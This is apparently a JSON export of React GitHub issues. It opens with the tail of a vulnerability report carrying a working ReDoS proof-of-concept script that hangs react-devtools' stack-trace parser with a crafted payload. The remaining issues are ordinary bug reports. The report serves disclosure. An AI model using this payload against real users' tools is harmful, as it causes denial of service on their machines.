Validation Metrics:\n * - Sink Execution Time: > 30s (killed due to timeout)\n * - Total Execution Time: > 30s\n * - Success Criteria: Standard A (> 2000ms, exceeded significantly)\n * - Production Ready: YES (extremely effective)\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 9\");\nconsole.log(\"[+] Vulnerable Regex: /((.*\\\".+\\\"[^@]*)?[^@]*)(?:@)/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \" \";\nconst infix = \"\\\"\\u0000\";\nconst suffix_original = \"\\n@\\n@\";\nconst repeatTimes = 5000;\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 432, sanitizedFrame.replace(/((.*\\\".+\\\"[^@]*)?[^@]*)(?:@)/, '')\");\nconsole.log(\"[+] Path: Must NOT match Chrome format → goes to Firefox parser\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix contains '\\\\n' → will be affected by split()\");\nconsole.log(\" - Original suffix contains '@' → will be matched by regex (?:@), causing regex to succeed\");\nconsole.log(\" - Strategy (Iteration 1): Remove '@' from suffix to prevent regex from matching\");\nconsole.log(\" - Replace \\\\n with \\\\r, and replace @ with !\");\n\nconst suffix_adjusted = suffix_original.replace(/\\n/g, '\\r').replace(/@/g, '!');\nconsole.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\n\n### Impact\nVulnerability Type\nThis is a `Regular Expression Denial of Service (ReDoS) vulnerability`. It falls under the category of Availability impact. By exploiting the algorithmic complexity of specific regular expressions, an attacker can cause \"catastrophic backtracking,\" which leads to:\n* Resource Exhaustion: Rapid and sustained 100% CPU utilization on the user's machine.\n* Service Disruption: Complete unresponsiveness of the browser tab, the DevTools window, or the entire browser process.\n\nWho is Impacted?\nThe impact extends to several groups within the React ecosystem:\nFrontend Developers: The primary victims are developers using the React Developer Tools extension (or integrated library) to inspect applications. Opening the DevTools on a page containing a \"malicious\" component name or stack trace will trigger the hang, resulting in the loss of unsaved debugging data and workflow interruption.\nEnd Users (in specific contexts): If a React application includes the react-devtools-shared backend logic (e.g., in a development or staging environment), any user visiting the site with DevTools active could have their browser rendered unusable.\nLocal Systems: Because the heavy computation occurs in the browser's rendering engine or the extension's process, the overall system performance may degrade, affecting other running applications until the offending process is forcefully terminated.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35490/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35609, 35509 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35481", "id": 3799954383, "node_id": "I_kwDOAJy2Ks7ifrPP", "number": 35481, "title": "[Compiler Bug]: Hydration error with multiline className", "user": { "login": "V-iktor", "id": 119683570, "node_id": "U_kgDOByI58g", "avatar_url": "https://avatars.githubusercontent.com/u/119683570?v=4", "gravatar_id": "", "url": "https://api.github.com/users/V-iktor", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2026-01-10T15:53:02Z", "updated_at": "2026-02-25T11:38:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/V-iktor/hydration\n\n### Repro steps\n\n1. Start the application\n2. Open the webpage\n3. See the hydration error\n\n### Additional context\n\nBefore turning on React compiler the site loaded normally.\n\nAfter adding the babel plugin and enabling the React compiler I got hydration errors.\n\n> A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n```\n
\n```\n\nThis is the relevant code, multiline formatted to make Tailwind more readable:\n\n```\n
\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.3\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35481/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35978 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35480", "id": 3799355630, "node_id": "I_kwDOAJy2Ks7idZDu", "number": 35480, "title": "Bug: Infinite loop in event listener during DOM traversal caused by nested tags", "user": { "login": "gsilver7", "id": 157014675, "node_id": "U_kgDOCVvakw", "avatar_url": "https://avatars.githubusercontent.com/u/157014675?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gsilver7", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-10T08:49:26Z", "updated_at": "2026-01-10T17:05:34Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\n## summary\nReact v19 freezes the browser (99% CPU) via an infinite event loop when focusing input elements inside nested body tags. Unlike React v15, which remained stable under the same malformed structure, the modern version fails to handle this DOM desynchronization, showing a significant decline in fault tolerance.\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Create a new React application using Vite or Create React App (CRA).\n\n2. Replace the contents of main.tsx (Vite) or index.tsx (CRA) with the reproduction code provided below.\n\n3. Run the application in development mode (e.g., npm run dev) or build and serve the production build.\n\n4. Open the application in a browser (Chrome or Firefox) and focus on the input or textarea element.\n\n5. Observe that an infinite loop is triggered immediately upon focus, causing the browser tab to hang or freeze completely.\n\n\n\nLink to code example:\n\n\n\n```\nimport { createRoot } from \"react-dom/client\";\n\ncreateRoot(document.getElementById(\"root\")!).render(\n \n \n \n);\n\n```\n\n## The current behavior\n\nProblem Scenario:\n\nInvalid HTML Generation: Writing a body tag inside a React component generates HTML with nested body tags after the build process.\n\nBrowser DOM Normalization: When executed, the browser detects the invalid nesting and modifies the DOM structure (typically removing the nested body or moving its children) to comply with HTML standards.\n\nJS-DOM Desynchronization: The compiled React JavaScript code maintains a reference to the body element inside the root, which no longer exists in its expected location due to browser normalization.\n\nEvent Interception: When an input or textarea element within this malformed zone is focused, React’s internal event system intercepts the interaction.\n\nInfinite Traversal Loop: It appears that the event listener enters a for(;;) loop while traversing the tree to find the target or its ancestors. Since the DOM tree has been \"mutated\" by the browser's parser, the loop never hits its termination condition, hijacking the Event Loop and freezing the browser tab (100% CPU usage).\n\n\"Image\"\n\nIt appears that in the past, despite being an unconventional and 'incorrect' method, React v15's tolerance for nesting tags within the DOM effectively prevented this critical issue. By allowing the malformed structure to persist rather than repeatedly attempting to 'fix' it, the browser was able to avoid the recursive rendering conflict that now leads to a total system freeze.\nWhile nesting tags is invalid HTML, the shift from a 'malformed UI' in v15 to a 'system-wide freeze' in v18 feels like an unintended side effect on the framework's resilience.\n\n## The expected behavior\n\nImplement Iteration Limits and Explicit Error Reporting:\n\nSet a maximum iteration count within React's event traversal logic to prevent synchronous infinite loops.\n\nCrucially, if the search limit is exceeded or the target element cannot be resolved, React should throw an explicit runtime error. This ensures that the framework fails gracefully and provides immediate feedback to the developer, rather than hanging the UI thread silently.\n\nBuild-time Validation: Adjust the React compiler or associated build tools to trigger a build-time error when body tags are nested inappropriately within the component tree.\n\nImpact: This is a \"Silent Crash\" bug that renders the debugging experience extremely difficult. By replacing a terminal browser hang with a clear runtime error, we can significantly enhance the Runtime Robustness and Developer Experience (DX) of the React ecosystem.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35480/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35475", "id": 3797511557, "node_id": "I_kwDOAJy2Ks7iWW2F", "number": 35475, "title": "Bug: React 19.2 component performance track causes side-effects in mobx -> add way to disable?", "user": { "login": "ahoisl", "id": 32290337, "node_id": "MDQ6VXNlcjMyMjkwMzM3", "avatar_url": "https://avatars.githubusercontent.com/u/32290337?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ahoisl", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-09T16:11:33Z", "updated_at": "2026-01-27T15:57:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.2.x\n\n## Steps To Reproduce\n\nSee https://github.com/mobxjs/mobx/issues/4607\n\nThe new component performance track causes side-effects (warnings) with mobx since the component performance tracks does a (deep) comparison of component properties.\nThis happens outside of a mobx reaction which causes the warning.\n\n\n\nLink to code example:\nReact 19.2.3 (warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-mobx-warnings-c8wkwy\nReact 19.1.4 (no warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-no-warnings-ttx7gt\n\n\n\n## The current behavior\nWarnings logged since keys & values of component properties are enumerated in performance tracks, e.g.:\n`[mobx] Observable 'someProp' being read outside a reactive context.`\n\n## The expected behavior\nNo side effects -> no warnings.\n\nPossible options:\nOption 1: A way to disable component performance tracks\nOption 2: No deep enumeration of property keys and values?", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35475/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35464", "id": 3791936575, "node_id": "I_kwDOAJy2Ks7iBFw_", "number": 35464, "title": "stale bot closed issue over christmas period", "user": { "login": "ImLunaHey", "id": 105922175, "node_id": "U_kgDOBlA-fw", "avatar_url": "https://avatars.githubusercontent.com/u/105922175?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ImLunaHey", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-01-08T08:35:19Z", "updated_at": "2026-01-13T09:09:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "https://github.com/facebook/react/issues/33021#issuecomment-3114038850 was closed during the christmas holidays. the stale bot does more harm than good and should really be removed from this repo.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35464/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35460", "id": 3788588210, "node_id": "I_kwDOAJy2Ks7h0USy", "number": 35460, "title": "Bug: In React 19.2 Suspense renders fallback instead of children if children are too big", "user": { "login": "yoksel", "id": 2571308, "node_id": "MDQ6VXNlcjI1NzEzMDg=", "avatar_url": "https://avatars.githubusercontent.com/u/2571308?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yoksel", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-01-07T12:36:45Z", "updated_at": "2026-01-11T21:43:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "We use `Suspense` component in NextJs project to catch server side errors in components and to prevent ruining the whole page as [recommended here](https://react.dev/reference/react/Suspense#providing-a-fallback-for-server-errors-and-client-only-content).\n\nIn React 19.1 `Suspense` just renders children on page rendered on server side without JS. So if user without JS opens page, he gets regular page with the content.\n\nIn React 19.2 `Suspense` renders fallback and never renders children on page rendered on server side without JS. So now if user without JS opens page, he gets blank page. \n\nIt seems like `Suspense` does not render children if they are too big while it works fine for smaller children.\n\nWe are relying on `Suspense` behaviour from React 19.1 to keep page content accessible to non-JS users so we would like to know if new `Suspense` behaviour is standard now? If yes, if there any recommended way to capture server side rendering errors like `Suspense` does?\n\n\n\nReact version: 19.2.3\n\n## Steps To Reproduce\n\n1. Run this project locally https://github.com/yoksel/suspense-issue and open it in browser\n2. Switch off JS and reload the page to see the result of server side rendering\n3. Check the first demo and see that `Suspense` shows fallback instead of children if the children are too big.\n4. Check the second demo and see that `Suspense` shows children if the children are small.\n\n\n\nLink to code example:\n\nhttps://github.com/yoksel/suspense-issue\n\n\"Image\"\n\n\n\n## The current behavior\n\n\nWhen children are too big, `Suspense` renders fallback instead on page without JS even if there is no server errors in component\n\n\n## The expected behavior\n\n`Suspense` renders children if there is no server errors in component on page without JS\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35460/reactions", "total_count": 3, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 3, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35454", "id": 3785234967, "node_id": "I_kwDOAJy2Ks7hnhoX", "number": 35454, "title": "Bug: ViewTransition is not working in rtl", "user": { "login": "istarkov", "id": 5077042, "node_id": "MDQ6VXNlcjUwNzcwNDI=", "avatar_url": "https://avatars.githubusercontent.com/u/5077042?v=4", "gravatar_id": "", "url": "https://api.github.com/users/istarkov", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-01-06T13:56:08Z", "updated_at": "2026-01-06T13:56:08Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "That looks strange \n\nhttps://github.com/vercel/next.js/issues/87773\n\nI see transitions in animate debug panel, but visually is nothing happens", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35454/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35447", "id": 3781970267, "node_id": "I_kwDOAJy2Ks7hbElb", "number": 35447, "title": "Bug: ViewTransition can't be isolated", "user": { "login": "istarkov", "id": 5077042, "node_id": "MDQ6VXNlcjUwNzcwNDI=", "avatar_url": "https://avatars.githubusercontent.com/u/5077042?v=4", "gravatar_id": "", "url": "https://api.github.com/users/istarkov", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-01-05T15:49:12Z", "updated_at": "2026-01-05T16:53:35Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version:\n \"react\": \"19.2.3\",\n \"react-dom\": \"19.2.3\",\n\n## Steps To Reproduce\n\nI have a Dialog wrapped with ViewTransition. Inside the dialog I’m using the Streamdown library.\n\nStreamdown updates its blocks using startTransition. As a result, view transitions keep triggering while Streamdown is streaming.\n\nIt seems like there’s no way to isolate part of the tree so that startTransition inside the dialog doesn’t trigger transitions outside of it.\n\nI can’t disable ViewTransition on the dialog during streaming, because the dialog needs the close animation.\n\nI think view transitions must be executed somehow explicitly and not via startTransition itself.\nOr I need a way like \n```\n\n ...startTransitions here would not cause view transitions to start\n\n```\n\nPS: `addTransitionType`\nAnd \n```\n::view-transition-group(*) {\n animation-duration: 0ms;\n animation: none;\n}\n...\n:root:active-view-transition-type(video-grid-dialog) {\n...\n}\n```\ndoesn't help, chrome flickers anyway", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35447/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35446", "id": 3781439166, "node_id": "I_kwDOAJy2Ks7hZC6-", "number": 35446, "title": "Bug: React 19 does not attach custom element event listeners during hydration", "user": { "login": "viliket", "id": 25618592, "node_id": "MDQ6VXNlcjI1NjE4NTky", "avatar_url": "https://avatars.githubusercontent.com/u/25618592?v=4", "gravatar_id": "", "url": "https://api.github.com/users/viliket", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2026-01-05T13:09:27Z", "updated_at": "2026-02-18T08:57:16Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When hydrating server-rendered markup, React does not attach event listeners for custom element events that have been configured on the custom element using the React's `on` prop syntax. The event handler is only attached after the first client render, not during hydration. This issue affects all React SSR frameworks like Next.js (linking a related issue from Next.js: https://github.com/vercel/next.js/issues/84091 - note that the issue is on React side).\n\nReact version: 19.2.3\n\n## Steps To Reproduce\n\n1. Open the CodeSandbox example.\n2. Click the first \"Emit custom event\" button.\n2. Click the second \"Emit custom event\" button.\n\n\n\nLink to code example: https://codesandbox.io/p/devbox/thirsty-leaf-4n6r2t\n\n### Description of the demo\n\nThe CodeSandbox simulates SSR + hydration using only React:\n\n- Server HTML is generated via `renderToString`\n- The markup is injected into the DOM\n- `hydrateRoot` is used to hydrate the content\n\nA custom element ``:\n\n- Uses Shadow DOM\n- Dispatches a CustomEvent(\"my-event\") when clicking the \"Emit custom event\" button\n\nEach React component (NotWorking & WorksWithForcedRerender) renders:\n\n```js\n {\n console.log(\n \"React custom event handler fired from component\"\n );\n alert(\"React custom event handler fired from component\");\n }}\n/>\n```\n\n## The current behavior\n\nThe `onmy-event` prop on `` in `` React component does not call the configured callback function and does not cause a native alert to pop up because React does properly attach event listener for the `onmy-event` prop during hydration.\n\nHowever, the `onmy-event` prop on `` in `` React component properly calls the configured callback function and causes a native alert to pop up by using a \"forced re-render on mount\" workaround.\n\n## The expected behavior\n\nThe `onmy-event` prop on `` in `` React component should call the configured callback function and cause a native alert to pop up when clicking the \"Emit custom event\" button inside the `` component .", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35446/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35474 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35424", "id": 3767060756, "node_id": "I_kwDOAJy2Ks7giMkU", "number": 35424, "title": "react-reconciler: flushSync was renamed to flushSyncFromReconciler without deprecation notice", "user": { "login": "remorses", "id": 31321188, "node_id": "MDQ6VXNlcjMxMzIxMTg4", "avatar_url": "https://avatars.githubusercontent.com/u/31321188?v=4", "gravatar_id": "", "url": "https://api.github.com/users/remorses", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": {}, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-12-29T10:39:57Z", "updated_at": "2026-01-23T09:19:40Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "In react-reconciler, the `flushSync` export was renamed to `flushSyncFromReconciler` in PR #28500 (merged April 8, 2024). This is an undocumented breaking change for custom renderers.\n\n**Commit:** https://github.com/facebook/react/pull/28500\n\nAccording to that PR, custom renderers should now use:\n- `reconciler.updateContainerSync()` - to update synchronously\n- `reconciler.flushSyncWork()` - to flush pending sync work\n\nHowever, this migration path is not documented anywhere for custom renderer authors. The change silently causes `flushSync` to be `undefined` with no warning.\n\n**0.29.x API:**\n```js\nconst reconciler = ReactReconciler(hostConfig)\nconst { flushSync } = reconciler // works\n\n// Usage\nflushSync(() => {\n reconciler.updateContainer(element, container, null, callback)\n})\n```\n\n**0.31.0+ API:**\n```js\nconst reconciler = ReactReconciler(hostConfig)\nconst { flushSync } = reconciler // undefined!\n\n// New intended usage (undocumented):\nreconciler.updateContainerSync(element, container, null, callback)\nreconciler.flushSyncWork()\n```\n\nCould we please:\n1. Document the new API for custom renderers in the react-reconciler README\n2. Or add a deprecation warning when accessing the old `flushSync` property\n\nThis affects custom renderers like @opentui/react that were following the previous patterns.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35424/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35428 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35421", "id": 3765593427, "node_id": "I_kwDOAJy2Ks7gcmVT", "number": 35421, "title": "[DevTools Bug] Cannot reorder children for suspense node \"333\" because no matching node was found in the Store.", "user": { "login": "angularbinh2020", "id": 61402063, "node_id": "MDQ6VXNlcjYxNDAyMDYz", "avatar_url": "https://avatars.githubusercontent.com/u/61402063?v=4", "gravatar_id": "", "url": "https://api.github.com/users/angularbinh2020", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-12-28T11:43:37Z", "updated_at": "2026-01-20T00:06:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttp://localhost:3000/auth/default-prompt\n\n### Repro steps\n\nStart local project nextjs 15.2.8\nF12 => Component tabs => error\n\n### How often does this bug happen?\n\nSometimes\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCannot reorder children for suspense node \"333\" because no matching node was found in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:730986\n at p.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:680330)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:682241\n at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1189368)\n```\n\n### Error component stack (automated)\n\n```text\n\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot reorder children for suspense node because no matching node was found in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35421/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35402", "id": 3756589296, "node_id": "I_kwDOAJy2Ks7f6QDw", "number": 35402, "title": "[DevTools 